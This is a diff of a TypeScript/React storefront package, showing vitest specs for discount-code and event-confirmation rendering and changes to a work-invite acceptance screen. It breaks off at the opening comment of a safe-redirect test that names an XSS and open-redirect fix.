@tribe-nest/forge 2.2.0 → 3.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/client/createForgeClient.ts +85 -2
- package/src/client/tokenStorage.ts +31 -0
- package/src/contexts/AppAuthContext.tsx +100 -15
- package/src/contexts/PublicAuthContext.tsx +46 -9
- package/src/data/queries/useCheckouts.ts +84 -1
- package/src/data/queries/useCoachingAvailability.ts +18 -3
- package/src/data/queries/useCourseAccess.ts +1 -1
- package/src/data/queries/useCourses.ts +42 -1
- package/src/data/queries/useEvents.ts +15 -1
- package/src/data/queries/usePaymentFlow.ts +12 -0
- package/src/data/queries/useWebsite.ts +6 -0
- package/src/index.ts +19 -2
- package/src/provider/ForgeProvider.tsx +30 -1
- package/src/server/_tests/platformEvents.spec.ts +315 -0
- package/src/server/index.ts +17 -0
- package/src/server/jobs.ts +41 -10
- package/src/server/platform.ts +234 -9
- package/src/server/platformEvents.generated.ts +422 -0
- package/src/types/models.ts +110 -3
- package/src/ui/headless/auth/useSignupForm.ts +69 -4
- package/src/ui/headless/calendar/useAddToCalendar.ts +194 -0
- package/src/ui/headless/checkout/_tests/bundleCoupon.spec.ts +169 -0
- package/src/ui/headless/checkout/bundleCoupon.ts +96 -0
- package/src/ui/headless/checkout/useCheckout.ts +156 -8
- package/src/ui/headless/coaching/useCoachingBooking.ts +53 -3
- package/src/ui/headless/coupon/_tests/couponFailureMessage.spec.ts +84 -0
- package/src/ui/headless/coupon/useCouponField.ts +164 -0
- package/src/ui/headless/course/useCourseCheckout.ts +113 -18
- package/src/ui/headless/event/useEventCheckout.ts +53 -2
- package/src/ui/headless/index.ts +15 -0
- package/src/ui/headless/work/useWorkPortal.ts +24 -21
- package/src/ui/index.ts +7 -0
- package/src/ui/shell/PoweredBy.tsx +60 -0
- package/src/ui/shell/TribeNestApp.tsx +15 -1
- package/src/ui/shell/shellGating.spec.ts +21 -1
- package/src/ui/shell/shellGating.ts +14 -0
- package/src/ui/styled/AddToCalendar.tsx +104 -0
- package/src/ui/styled/Checkout.tsx +45 -14
- package/src/ui/styled/CoachingBooking.tsx +28 -8
- package/src/ui/styled/CoachingConfirmation.tsx +12 -0
- package/src/ui/styled/CourseCheckout.tsx +49 -18
- package/src/ui/styled/DiscountCode.tsx +206 -0
- package/src/ui/styled/EventConfirmation.tsx +68 -22
- package/src/ui/styled/EventDetail.tsx +18 -5
- package/src/ui/styled/EventTickets.tsx +49 -5
- package/src/ui/styled/SignupForm.tsx +86 -35
- package/src/ui/styled/_tests/DiscountCode.spec.tsx +272 -0
- package/src/ui/styled/_tests/EventConfirmation.spec.tsx +154 -0
- package/src/ui/styled/work/WorkInviteAccept.tsx +54 -5
- package/src/utils/_tests/safeRedirect.spec.ts +117 -0
- package/src/utils/_tests/ticketOrderOutcome.spec.ts +126 -0
- package/src/utils/safeRedirect.ts +41 -0
- package/src/utils/ticketOrderOutcome.ts +125 -0
|
@@ -0,0 +1,272 @@
|
|
|
1
|
+
import { describe, it, expect } from "vitest";
|
|
2
|
+
import { renderToStaticMarkup } from "react-dom/server";
|
|
3
|
+
import { ForgeThemeProvider } from "../../theme/ForgeThemeProvider";
|
|
4
|
+
import { DiscountCodeField, DiscountSummaryLines } from "../DiscountCode";
|
|
5
|
+
import type { CouponField } from "../../headless/coupon/useCouponField";
|
|
6
|
+
import type { PillarDiscountQuote } from "../../../types/models";
|
|
7
|
+
|
|
8
|
+
/**
|
|
9
|
+
* Rendered through `react-dom/server`, which needs no DOM — so these run in the
|
|
10
|
+
* package's existing node vitest environment with no new dependency and no
|
|
11
|
+
* jsdom project. Effects never fire under `renderToStaticMarkup`, so the
|
|
12
|
+
* `CouponField` fixture is the only data source and nothing reaches the network.
|
|
13
|
+
*
|
|
14
|
+
* `DiscountCodeField` and `DiscountSummaryLines` are the REAL components every
|
|
15
|
+
* ticket, booking, course and (client-app) checkout renders, so these assertions
|
|
16
|
+
* are about shipped behaviour, not a harness.
|
|
17
|
+
*/
|
|
18
|
+
|
|
19
|
+
const fmt = (n: number) => `$${n.toFixed(2)}`;
|
|
20
|
+
|
|
21
|
+
/** A `CouponField` in a given state. The setters are inert — nothing clicks here. */
|
|
22
|
+
function field(overrides: Partial<CouponField> = {}): CouponField {
|
|
23
|
+
const quote = overrides.quote ?? null;
|
|
24
|
+
return {
|
|
25
|
+
code: "",
|
|
26
|
+
setCode: () => {},
|
|
27
|
+
submittedCode: undefined,
|
|
28
|
+
showInput: false,
|
|
29
|
+
setShowInput: () => {},
|
|
30
|
+
error: null,
|
|
31
|
+
setError: () => {},
|
|
32
|
+
isApplying: false,
|
|
33
|
+
quote,
|
|
34
|
+
appliedCoupons: quote?.appliedCoupons ?? [],
|
|
35
|
+
discountAmount: quote?.discountAmount ?? 0,
|
|
36
|
+
hasDiscount: (quote?.discountAmount ?? 0) > 0,
|
|
37
|
+
apply: async () => {},
|
|
38
|
+
remove: async () => {},
|
|
39
|
+
record: () => {},
|
|
40
|
+
fail: () => {},
|
|
41
|
+
reset: () => {},
|
|
42
|
+
canQuote: true,
|
|
43
|
+
...overrides,
|
|
44
|
+
};
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
/** What the server returns once SUMMER10 has been applied to a $50 course. */
|
|
48
|
+
const appliedQuote: PillarDiscountQuote = {
|
|
49
|
+
subTotal: 50,
|
|
50
|
+
totalAmount: 42.5,
|
|
51
|
+
discountAmount: 7.5,
|
|
52
|
+
couponId: "coupon-1",
|
|
53
|
+
appliedCoupons: [{ code: "SUMMER10", discountKind: "simple", discountAmount: 7.5 }],
|
|
54
|
+
};
|
|
55
|
+
|
|
56
|
+
/** The undiscounted answer — what `remove()` puts back. */
|
|
57
|
+
const clearedQuote: PillarDiscountQuote = {
|
|
58
|
+
subTotal: 50,
|
|
59
|
+
totalAmount: 50,
|
|
60
|
+
discountAmount: 0,
|
|
61
|
+
couponId: null,
|
|
62
|
+
appliedCoupons: [],
|
|
63
|
+
};
|
|
64
|
+
|
|
65
|
+
/** The summary as every checkout composes it: the lines, then the total. */
|
|
66
|
+
function summary(coupon: CouponField, total: number) {
|
|
67
|
+
return renderToStaticMarkup(
|
|
68
|
+
<ForgeThemeProvider theme={{ colors: { text: "#111111", background: "#ffffff", primary: "#6d28d9" }, cornerRadius: 8 }}>
|
|
69
|
+
<div>
|
|
70
|
+
<DiscountSummaryLines
|
|
71
|
+
subTotal={coupon.quote?.subTotal ?? total}
|
|
72
|
+
discountAmount={coupon.discountAmount}
|
|
73
|
+
appliedCoupons={coupon.appliedCoupons}
|
|
74
|
+
fmt={fmt}
|
|
75
|
+
/>
|
|
76
|
+
<div>
|
|
77
|
+
<span>Total</span>
|
|
78
|
+
<span>{fmt(total)}</span>
|
|
79
|
+
</div>
|
|
80
|
+
</div>
|
|
81
|
+
</ForgeThemeProvider>,
|
|
82
|
+
);
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
function input(coupon: CouponField, props: Partial<{ mode: "quote" | "deferred"; disabled: boolean }> = {}) {
|
|
86
|
+
return renderToStaticMarkup(
|
|
87
|
+
<ForgeThemeProvider theme={{ colors: { text: "#111111", background: "#ffffff", primary: "#6d28d9" }, cornerRadius: 8 }}>
|
|
88
|
+
<DiscountCodeField coupon={coupon} fmt={fmt} {...props} />
|
|
89
|
+
</ForgeThemeProvider>,
|
|
90
|
+
);
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
/** The markup carries HTML entities for the minus sign — normalise. */
|
|
94
|
+
const plain = (html: string) => html.replace(/−|−/g, "−");
|
|
95
|
+
|
|
96
|
+
describe("discount code — applying a valid code", () => {
|
|
97
|
+
const applied = field({ quote: appliedQuote, code: "SUMMER10", showInput: true });
|
|
98
|
+
|
|
99
|
+
it("shows a Discount LINE and the reduced total, not just a smaller number", () => {
|
|
100
|
+
const html = plain(summary(applied, appliedQuote.totalAmount));
|
|
101
|
+
|
|
102
|
+
// The line the whole feature exists for.
|
|
103
|
+
expect(html).toContain('data-testid="discount-line"');
|
|
104
|
+
expect(html).toContain("−$7.50");
|
|
105
|
+
// …with the subtotal beside it, so the buyer can see what it came off.
|
|
106
|
+
expect(html).toContain("Subtotal");
|
|
107
|
+
expect(html).toContain("$50.00");
|
|
108
|
+
// …and the reduced total.
|
|
109
|
+
expect(html).toContain("$42.50");
|
|
110
|
+
// The arithmetic on screen is the SERVER's and is self-consistent.
|
|
111
|
+
expect(appliedQuote.subTotal - appliedQuote.discountAmount).toBe(appliedQuote.totalAmount);
|
|
112
|
+
});
|
|
113
|
+
|
|
114
|
+
it("names the code that produced the discount", () => {
|
|
115
|
+
expect(plain(summary(applied, appliedQuote.totalAmount))).toContain("Discount (SUMMER10)");
|
|
116
|
+
});
|
|
117
|
+
|
|
118
|
+
it("shows the applied code with what it saved, and a way to remove it", () => {
|
|
119
|
+
const html = input(applied);
|
|
120
|
+
expect(html).toContain('data-testid="discount-code-applied"');
|
|
121
|
+
expect(html).toContain("SUMMER10");
|
|
122
|
+
expect(html).toContain("$7.50 off");
|
|
123
|
+
expect(html).toContain('data-testid="discount-code-remove"');
|
|
124
|
+
// The prompt is gone once something is applied.
|
|
125
|
+
expect(html).not.toContain('data-testid="discount-code-open"');
|
|
126
|
+
});
|
|
127
|
+
});
|
|
128
|
+
|
|
129
|
+
describe("discount code — an AUTOMATIC (no-code) discount", () => {
|
|
130
|
+
// The buyer typed nothing. Without this, the only evidence is a total that
|
|
131
|
+
// silently shrank.
|
|
132
|
+
const auto = field({
|
|
133
|
+
quote: {
|
|
134
|
+
subTotal: 50,
|
|
135
|
+
totalAmount: 45,
|
|
136
|
+
discountAmount: 5,
|
|
137
|
+
couponId: "coupon-auto",
|
|
138
|
+
appliedCoupons: [{ code: "AUTUMN", discountKind: "simple", discountAmount: 5 }],
|
|
139
|
+
},
|
|
140
|
+
});
|
|
141
|
+
|
|
142
|
+
it("is shown as applied even though the input was never opened", () => {
|
|
143
|
+
const html = input(auto);
|
|
144
|
+
expect(html).toContain('data-testid="discount-code-applied"');
|
|
145
|
+
expect(html).toContain("AUTUMN");
|
|
146
|
+
expect(html).toContain("$5.00 off");
|
|
147
|
+
expect(html).not.toContain('data-testid="discount-code-input"');
|
|
148
|
+
});
|
|
149
|
+
|
|
150
|
+
it("gets its own discount line", () => {
|
|
151
|
+
const html = plain(summary(auto, 45));
|
|
152
|
+
expect(html).toContain('data-testid="discount-line"');
|
|
153
|
+
expect(html).toContain("Discount (AUTUMN)");
|
|
154
|
+
expect(html).toContain("−$5.00");
|
|
155
|
+
});
|
|
156
|
+
});
|
|
157
|
+
|
|
158
|
+
describe("discount code — a rejected code", () => {
|
|
159
|
+
it("shows the API's own reason, not a generic 'invalid code'", () => {
|
|
160
|
+
// Exactly what `errors.coupon.min_order_value_not_met` renders to in `en`.
|
|
161
|
+
const html = input(
|
|
162
|
+
field({ code: "SUMMER10", showInput: true, error: "Your order does not reach this coupon's minimum spend" }),
|
|
163
|
+
);
|
|
164
|
+
|
|
165
|
+
expect(html).toContain('data-testid="discount-code-error"');
|
|
166
|
+
expect(html).toContain("Your order does not reach this coupon");
|
|
167
|
+
expect(html).toContain("minimum spend");
|
|
168
|
+
// The generic copy that would have thrown that reason away.
|
|
169
|
+
expect(html.toLowerCase()).not.toContain("invalid coupon code");
|
|
170
|
+
expect(html.toLowerCase()).not.toContain("invalid code");
|
|
171
|
+
});
|
|
172
|
+
|
|
173
|
+
it("carries each distinct reason through verbatim", () => {
|
|
174
|
+
for (const reason of [
|
|
175
|
+
"This coupon has expired",
|
|
176
|
+
"You have already used this coupon the maximum number of times",
|
|
177
|
+
"This coupon is only available to members of a specific tier",
|
|
178
|
+
"This coupon does not apply to anything in this order",
|
|
179
|
+
]) {
|
|
180
|
+
expect(input(field({ code: "X", showInput: true, error: reason }))).toContain(reason);
|
|
181
|
+
}
|
|
182
|
+
});
|
|
183
|
+
|
|
184
|
+
it("does not record a discount for a code that was refused", () => {
|
|
185
|
+
// The total must keep matching the server: a refused code leaves the
|
|
186
|
+
// previous (here: absent) quote standing.
|
|
187
|
+
const html = plain(summary(field({ code: "X", showInput: true, error: "This coupon has expired" }), 50));
|
|
188
|
+
expect(html).not.toContain('data-testid="discount-line"');
|
|
189
|
+
expect(html).toContain("$50.00");
|
|
190
|
+
});
|
|
191
|
+
});
|
|
192
|
+
|
|
193
|
+
describe("discount code — removing a code", () => {
|
|
194
|
+
it("restores the original total and drops the discount line", () => {
|
|
195
|
+
// The state after `remove()` re-quoted with no code.
|
|
196
|
+
const html = plain(summary(field({ quote: clearedQuote }), clearedQuote.totalAmount));
|
|
197
|
+
|
|
198
|
+
expect(html).not.toContain('data-testid="discount-line"');
|
|
199
|
+
expect(html).not.toContain('data-testid="discount-summary"');
|
|
200
|
+
expect(html).toContain("$50.00");
|
|
201
|
+
expect(html).not.toContain("$42.50");
|
|
202
|
+
expect(clearedQuote.totalAmount).toBe(appliedQuote.subTotal);
|
|
203
|
+
});
|
|
204
|
+
|
|
205
|
+
it("puts the 'have a code?' prompt back", () => {
|
|
206
|
+
const html = input(field({ quote: clearedQuote }));
|
|
207
|
+
expect(html).toContain('data-testid="discount-code-open"');
|
|
208
|
+
expect(html).toContain("Have a discount code?");
|
|
209
|
+
expect(html).not.toContain('data-testid="discount-code-applied"');
|
|
210
|
+
});
|
|
211
|
+
});
|
|
212
|
+
|
|
213
|
+
describe("discount code — a checkout with no code (regression)", () => {
|
|
214
|
+
it("adds NOTHING to the summary", () => {
|
|
215
|
+
// The only thing inserted into every existing order summary is
|
|
216
|
+
// <DiscountSummaryLines>, and with no discount it must render nothing at
|
|
217
|
+
// all — so an undiscounted checkout looks exactly as it did before.
|
|
218
|
+
const html = renderToStaticMarkup(
|
|
219
|
+
<ForgeThemeProvider theme={{ colors: { text: "#111111", background: "#ffffff", primary: "#6d28d9" }, cornerRadius: 8 }}>
|
|
220
|
+
<DiscountSummaryLines subTotal={50} discountAmount={0} fmt={fmt} />
|
|
221
|
+
</ForgeThemeProvider>,
|
|
222
|
+
);
|
|
223
|
+
// Only the provider's own theme <style> — the component itself emits nothing.
|
|
224
|
+
expect(html.replace(/<style>[\s\S]*?<\/style>/, "")).toBe("");
|
|
225
|
+
});
|
|
226
|
+
|
|
227
|
+
it("offers only a collapsed prompt — no input, no error, no applied block", () => {
|
|
228
|
+
const html = input(field());
|
|
229
|
+
expect(html).toContain('data-testid="discount-code-open"');
|
|
230
|
+
expect(html).not.toContain('data-testid="discount-code-input"');
|
|
231
|
+
expect(html).not.toContain('data-testid="discount-code-error"');
|
|
232
|
+
expect(html).not.toContain('data-testid="discount-code-applied"');
|
|
233
|
+
});
|
|
234
|
+
|
|
235
|
+
it("renders the untouched total", () => {
|
|
236
|
+
expect(plain(summary(field(), 50))).toContain("$50.00");
|
|
237
|
+
});
|
|
238
|
+
});
|
|
239
|
+
|
|
240
|
+
describe("discount code — the two apply modes", () => {
|
|
241
|
+
it("offers an Apply button where the pillar can really re-quote", () => {
|
|
242
|
+
const html = input(field({ showInput: true, code: "X" }), { mode: "quote" });
|
|
243
|
+
expect(html).toContain('data-testid="discount-code-apply"');
|
|
244
|
+
expect(html).not.toContain("applied at the next step");
|
|
245
|
+
});
|
|
246
|
+
|
|
247
|
+
it("offers no Apply button where the code can only be redeemed by the next call", () => {
|
|
248
|
+
// Tickets and bundles: `POST …/orders` and `POST /public/checkouts` CREATE
|
|
249
|
+
// the record, so there is nothing to press that would price a code without
|
|
250
|
+
// leaving a real abandoned order behind.
|
|
251
|
+
const html = input(field({ showInput: true, code: "X" }), { mode: "deferred" });
|
|
252
|
+
expect(html).not.toContain('data-testid="discount-code-apply"');
|
|
253
|
+
expect(html).toContain("Your code is applied at the next step.");
|
|
254
|
+
});
|
|
255
|
+
|
|
256
|
+
it("freezes once the code can no longer be changed", () => {
|
|
257
|
+
// A created bundle: the code was consumed by the call that made it.
|
|
258
|
+
const html = input(field({ quote: appliedQuote }), { disabled: true });
|
|
259
|
+
expect(html).toContain('data-testid="discount-code-applied"');
|
|
260
|
+
expect(html).toContain("SUMMER10");
|
|
261
|
+
expect(html).not.toContain('data-testid="discount-code-remove"');
|
|
262
|
+
expect(html).not.toContain('data-testid="discount-code-open"');
|
|
263
|
+
});
|
|
264
|
+
|
|
265
|
+
it("hides Remove for a pillar that cannot un-apply in place", () => {
|
|
266
|
+
// Event tickets expose their own "Remove discount" on the payment step,
|
|
267
|
+
// which restarts the order; the field itself must not pretend otherwise.
|
|
268
|
+
const html = input(field({ quote: appliedQuote, canQuote: false }));
|
|
269
|
+
expect(html).toContain('data-testid="discount-code-applied"');
|
|
270
|
+
expect(html).not.toContain('data-testid="discount-code-remove"');
|
|
271
|
+
});
|
|
272
|
+
});
|
|
@@ -0,0 +1,154 @@
|
|
|
1
|
+
import { describe, it, expect } from "vitest";
|
|
2
|
+
import { renderToStaticMarkup } from "react-dom/server";
|
|
3
|
+
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
|
|
4
|
+
import { ForgeClientProvider } from "../../../provider/ForgeProvider";
|
|
5
|
+
import { PublicAuthContext } from "../../../contexts/PublicAuthContext";
|
|
6
|
+
import { ForgeThemeProvider } from "../../theme/ForgeThemeProvider";
|
|
7
|
+
import { EventConfirmation } from "../EventConfirmation";
|
|
8
|
+
import { OrderStatus, type ITicketOrder } from "../../../types/models";
|
|
9
|
+
|
|
10
|
+
/**
|
|
11
|
+
* Rendered through `react-dom/server`, which needs no DOM — so these run in the
|
|
12
|
+
* package's existing node vitest environment with no new dependency and no
|
|
13
|
+
* jsdom project. Effects never fire under `renderToStaticMarkup`, so the seeded
|
|
14
|
+
* query cache is the only data source and nothing reaches the network.
|
|
15
|
+
*/
|
|
16
|
+
|
|
17
|
+
const PROFILE_ID = "profile-1";
|
|
18
|
+
const ORDER_ID = "order-1";
|
|
19
|
+
const EVENT_ID = "event-1";
|
|
20
|
+
|
|
21
|
+
const baseOrder: ITicketOrder = {
|
|
22
|
+
id: "0f9c8b7a-1111-2222-3333-444455556666",
|
|
23
|
+
items: [{ id: "item-1", eventTicketId: "ticket-1", quantity: 2, price: 12.5, title: "General Admission" }],
|
|
24
|
+
firstName: "Ada",
|
|
25
|
+
lastName: "Lovelace",
|
|
26
|
+
email: "ada@example.com",
|
|
27
|
+
totalAmount: 25,
|
|
28
|
+
currency: "USD",
|
|
29
|
+
status: OrderStatus.Paid,
|
|
30
|
+
customerName: "Ada Lovelace",
|
|
31
|
+
customerEmail: "ada@example.com",
|
|
32
|
+
createdAt: "2026-07-01T10:00:00.000Z",
|
|
33
|
+
updatedAt: "2026-07-01T10:00:00.000Z",
|
|
34
|
+
eventTitle: "Midnight Set",
|
|
35
|
+
questionnaire: [],
|
|
36
|
+
};
|
|
37
|
+
|
|
38
|
+
function render(order: ITicketOrder) {
|
|
39
|
+
const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
|
40
|
+
queryClient.setQueryData(["eventTicketOrderStatus", PROFILE_ID, ORDER_ID], order);
|
|
41
|
+
queryClient.setQueryData(["event", EVENT_ID, PROFILE_ID], {
|
|
42
|
+
id: EVENT_ID,
|
|
43
|
+
title: "Midnight Set",
|
|
44
|
+
description: "A set",
|
|
45
|
+
type: "virtual",
|
|
46
|
+
status: "published",
|
|
47
|
+
dateTime: "2026-09-01T20:00:00.000Z",
|
|
48
|
+
endDateTime: "2026-09-01T23:00:00.000Z",
|
|
49
|
+
timezone: "UTC",
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
return renderToStaticMarkup(
|
|
53
|
+
<QueryClientProvider client={queryClient}>
|
|
54
|
+
<ForgeClientProvider apiUrl="http://api.test" profileId={PROFILE_ID}>
|
|
55
|
+
<PublicAuthContext.Provider value={{ currencies: null, userSelectedCurrency: "USD" } as never}>
|
|
56
|
+
<ForgeThemeProvider
|
|
57
|
+
theme={{ colors: { text: "#111111", background: "#ffffff", primary: "#6d28d9" }, cornerRadius: 8 }}
|
|
58
|
+
>
|
|
59
|
+
<EventConfirmation slug={EVENT_ID} orderId={ORDER_ID} formatAmount={(n) => `$${n.toFixed(2)}`} />
|
|
60
|
+
</ForgeThemeProvider>
|
|
61
|
+
</PublicAuthContext.Provider>
|
|
62
|
+
</ForgeClientProvider>
|
|
63
|
+
</QueryClientProvider>,
|
|
64
|
+
);
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
/** The markup carries HTML entities for the curly apostrophes — normalise. */
|
|
68
|
+
const plain = (html: string) => html.replace(/'|'/g, "'").replace(/’/g, "'");
|
|
69
|
+
|
|
70
|
+
describe("EventConfirmation — refunded vs abandoned", () => {
|
|
71
|
+
it("greets a refund-voided order with refunded copy, not 'order not completed'", () => {
|
|
72
|
+
const html = plain(
|
|
73
|
+
render({
|
|
74
|
+
...baseOrder,
|
|
75
|
+
status: OrderStatus.Cancelled,
|
|
76
|
+
refundedAmountCents: "2500",
|
|
77
|
+
refundState: "full",
|
|
78
|
+
}),
|
|
79
|
+
);
|
|
80
|
+
|
|
81
|
+
expect(html).toContain("This order was refunded");
|
|
82
|
+
expect(html).toContain("bank or card issuer");
|
|
83
|
+
expect(html).toContain("will not admit entry");
|
|
84
|
+
expect(html).toContain("Refunded");
|
|
85
|
+
|
|
86
|
+
// The three things that were false for this buyer.
|
|
87
|
+
expect(html).not.toContain("Order not completed");
|
|
88
|
+
expect(html).not.toContain("contact support");
|
|
89
|
+
expect(html).not.toContain("If you were charged");
|
|
90
|
+
// ...and it must not congratulate them either.
|
|
91
|
+
expect(html).not.toContain("You're going!");
|
|
92
|
+
|
|
93
|
+
// The money line tells the truth about which direction it went.
|
|
94
|
+
expect(html).toContain("Total refunded");
|
|
95
|
+
expect(html).not.toContain("Total paid");
|
|
96
|
+
|
|
97
|
+
// Nothing that reads as a still-valid ticket: no scannable pass is rendered
|
|
98
|
+
// on this surface at all (the QR only ever lived in the emailed PDF), and
|
|
99
|
+
// the "add to calendar" prompt is paid-only.
|
|
100
|
+
expect(html.toLowerCase()).not.toContain("qr");
|
|
101
|
+
expect(html).not.toContain('data-testid="add-to-calendar"');
|
|
102
|
+
expect(html).not.toContain("E-Ticket");
|
|
103
|
+
});
|
|
104
|
+
|
|
105
|
+
it("still shows the existing 'not completed' copy for an abandoned checkout", () => {
|
|
106
|
+
// Regression guard. This path is unchanged and must stay: for a buyer who
|
|
107
|
+
// never paid, "order not completed / if you were charged, contact support"
|
|
108
|
+
// is the correct thing to say.
|
|
109
|
+
const html = plain(
|
|
110
|
+
render({
|
|
111
|
+
...baseOrder,
|
|
112
|
+
status: OrderStatus.Cancelled,
|
|
113
|
+
refundedAmountCents: 0,
|
|
114
|
+
refundState: "none",
|
|
115
|
+
}),
|
|
116
|
+
);
|
|
117
|
+
|
|
118
|
+
expect(html).toContain("Order not completed");
|
|
119
|
+
expect(html).toContain("If you were charged, contact support.");
|
|
120
|
+
expect(html).toContain("Total"); // bare "Total", not "Total paid"
|
|
121
|
+
expect(html).not.toContain("Total paid");
|
|
122
|
+
expect(html).not.toContain("This order was refunded");
|
|
123
|
+
expect(html).not.toContain("Total refunded");
|
|
124
|
+
});
|
|
125
|
+
|
|
126
|
+
it("is unchanged for a paid order", () => {
|
|
127
|
+
const html = plain(render(baseOrder));
|
|
128
|
+
|
|
129
|
+
expect(html).toContain("You're going!");
|
|
130
|
+
expect(html).toContain("E-Ticket");
|
|
131
|
+
expect(html).toContain("We've sent your tickets to ada@example.com.");
|
|
132
|
+
expect(html).toContain("Total paid");
|
|
133
|
+
// Pins the "add to calendar" affordance as really present on the paid path,
|
|
134
|
+
// so its absence in the refunded case above is a meaningful assertion.
|
|
135
|
+
expect(html).toContain('data-testid="add-to-calendar"');
|
|
136
|
+
expect(html).not.toContain("This order was refunded");
|
|
137
|
+
expect(html).not.toContain("Order not completed");
|
|
138
|
+
});
|
|
139
|
+
|
|
140
|
+
it("keeps a partially refunded but still-valid order on the paid copy", () => {
|
|
141
|
+
// A partial refund voids nothing, so the pass still admits entry.
|
|
142
|
+
const html = plain(render({ ...baseOrder, refundedAmountCents: "500", refundState: "partial" }));
|
|
143
|
+
|
|
144
|
+
expect(html).toContain("You're going!");
|
|
145
|
+
expect(html).not.toContain("This order was refunded");
|
|
146
|
+
});
|
|
147
|
+
|
|
148
|
+
it("does not read a refund into a plain payment failure", () => {
|
|
149
|
+
const html = plain(render({ ...baseOrder, status: OrderStatus.PaymentFailed }));
|
|
150
|
+
|
|
151
|
+
expect(html).toContain("Order not completed");
|
|
152
|
+
expect(html).not.toContain("This order was refunded");
|
|
153
|
+
});
|
|
154
|
+
});
|
|
@@ -3,6 +3,7 @@ import { CheckCircle2, FolderOpen } from "lucide-react";
|
|
|
3
3
|
import { useForgeTheme } from "../../theme/ForgeThemeProvider";
|
|
4
4
|
import { usePublicAuth } from "../../../contexts/PublicAuthContext";
|
|
5
5
|
import { ACCESS_TOKEN_KEY } from "../../../contexts/PublicAuthContext";
|
|
6
|
+
import { PUBLIC_REFRESH_TOKEN_KEY } from "../../../client/tokenStorage";
|
|
6
7
|
import { Loading } from "../Loading";
|
|
7
8
|
import { useAcceptWorkInvite, useWorkInvite } from "../../headless/work/useWorkPortal";
|
|
8
9
|
|
|
@@ -83,7 +84,12 @@ export function WorkInviteAccept({
|
|
|
83
84
|
gap: 8,
|
|
84
85
|
};
|
|
85
86
|
const link: React.CSSProperties = { color: theme.colors.primary, textDecoration: "underline" };
|
|
86
|
-
const eyebrow: React.CSSProperties = {
|
|
87
|
+
const eyebrow: React.CSSProperties = {
|
|
88
|
+
fontSize: 13,
|
|
89
|
+
color: theme.colors.primary,
|
|
90
|
+
fontWeight: 700,
|
|
91
|
+
letterSpacing: 0.3,
|
|
92
|
+
};
|
|
87
93
|
const heading: React.CSSProperties = { fontSize: 22, fontWeight: 800, margin: "6px 0 14px" };
|
|
88
94
|
const sub: React.CSSProperties = { fontSize: 14, color: `${theme.colors.text}b3`, marginBottom: 22 };
|
|
89
95
|
|
|
@@ -152,6 +158,42 @@ export function WorkInviteAccept({
|
|
|
152
158
|
);
|
|
153
159
|
}
|
|
154
160
|
|
|
161
|
+
/**
|
|
162
|
+
* The invited address already has a TribeNest account (C10). An invite grants
|
|
163
|
+
* portal ACCESS; it is not a credential reset for an account whose owner
|
|
164
|
+
* never asked for one — so there is no password form here, only a sign-in
|
|
165
|
+
* link. Accepting still runs, to consume the invite and link the contact.
|
|
166
|
+
*/
|
|
167
|
+
if (invite.requiresExistingLogin) {
|
|
168
|
+
return (
|
|
169
|
+
<div style={card} data-testid="work-invite-accept">
|
|
170
|
+
{header}
|
|
171
|
+
<p style={sub}>
|
|
172
|
+
<strong>{invite.email}</strong> already has an account. Sign in and the project will be waiting for you.
|
|
173
|
+
</p>
|
|
174
|
+
<button
|
|
175
|
+
type="button"
|
|
176
|
+
style={button}
|
|
177
|
+
disabled={submitting}
|
|
178
|
+
data-testid="work-invite-signin"
|
|
179
|
+
onClick={async () => {
|
|
180
|
+
setSubmitting(true);
|
|
181
|
+
try {
|
|
182
|
+
// Consumes the invite and links the contact; returns no session.
|
|
183
|
+
await acceptInvite.mutateAsync({ token, projectId, password: "" });
|
|
184
|
+
} catch {
|
|
185
|
+
// Non-fatal: an already-consumed invite still leaves them able to
|
|
186
|
+
// sign in, which is the whole instruction on this screen.
|
|
187
|
+
}
|
|
188
|
+
window.location.assign(loginHref);
|
|
189
|
+
}}
|
|
190
|
+
>
|
|
191
|
+
Go to sign in
|
|
192
|
+
</button>
|
|
193
|
+
</div>
|
|
194
|
+
);
|
|
195
|
+
}
|
|
196
|
+
|
|
155
197
|
const onAccept = async (e: React.FormEvent) => {
|
|
156
198
|
e.preventDefault();
|
|
157
199
|
setError("");
|
|
@@ -166,9 +208,16 @@ export function WorkInviteAccept({
|
|
|
166
208
|
setSubmitting(true);
|
|
167
209
|
try {
|
|
168
210
|
const result = await acceptInvite.mutateAsync({ token, projectId, password });
|
|
169
|
-
|
|
170
|
-
|
|
211
|
+
if (result.requiresLogin || !result.token) {
|
|
212
|
+
// The address turned out to already have an account — no session is
|
|
213
|
+
// issued for it (C10). Send them to sign in.
|
|
214
|
+
window.location.assign(loginHref);
|
|
215
|
+
return;
|
|
216
|
+
}
|
|
217
|
+
// Persist the fresh portal session (access + rotating refresh token) and
|
|
218
|
+
// hard-navigate so the auth context re-initializes as the invited client.
|
|
171
219
|
localStorage.setItem(ACCESS_TOKEN_KEY, result.token);
|
|
220
|
+
if (result.refreshToken) localStorage.setItem(PUBLIC_REFRESH_TOKEN_KEY, result.refreshToken);
|
|
172
221
|
window.location.assign(projectHref);
|
|
173
222
|
} catch (err) {
|
|
174
223
|
setError(msg(err) || "Something went wrong. Please try again.");
|
|
@@ -182,8 +231,8 @@ export function WorkInviteAccept({
|
|
|
182
231
|
<p style={sub}>
|
|
183
232
|
{isAuthenticated && currentEmail && currentEmail !== invitedEmail ? (
|
|
184
233
|
<>
|
|
185
|
-
You're signed in as <strong>{user?.email}</strong>, but this invite is for{
|
|
186
|
-
|
|
234
|
+
You're signed in as <strong>{user?.email}</strong>, but this invite is for <strong>{invite.email}</strong>.
|
|
235
|
+
Set a password to continue as {invite.email}.
|
|
187
236
|
</>
|
|
188
237
|
) : (
|
|
189
238
|
<>
|
|
@@ -0,0 +1,117 @@
|
|
|
1
|
+
import { describe, expect, it } from "vitest";
|
|
2
|
+
import { safeRedirectPath } from "../safeRedirect";
|
|
3
|
+
|
|
4
|
+
/**
|
|
5
|
+
* C13 — reflected `javascript:` XSS and open redirect on every tenant member
|
|
6
|
+
* portal.
|
|
7
|
+
*
|
|
8
|
+
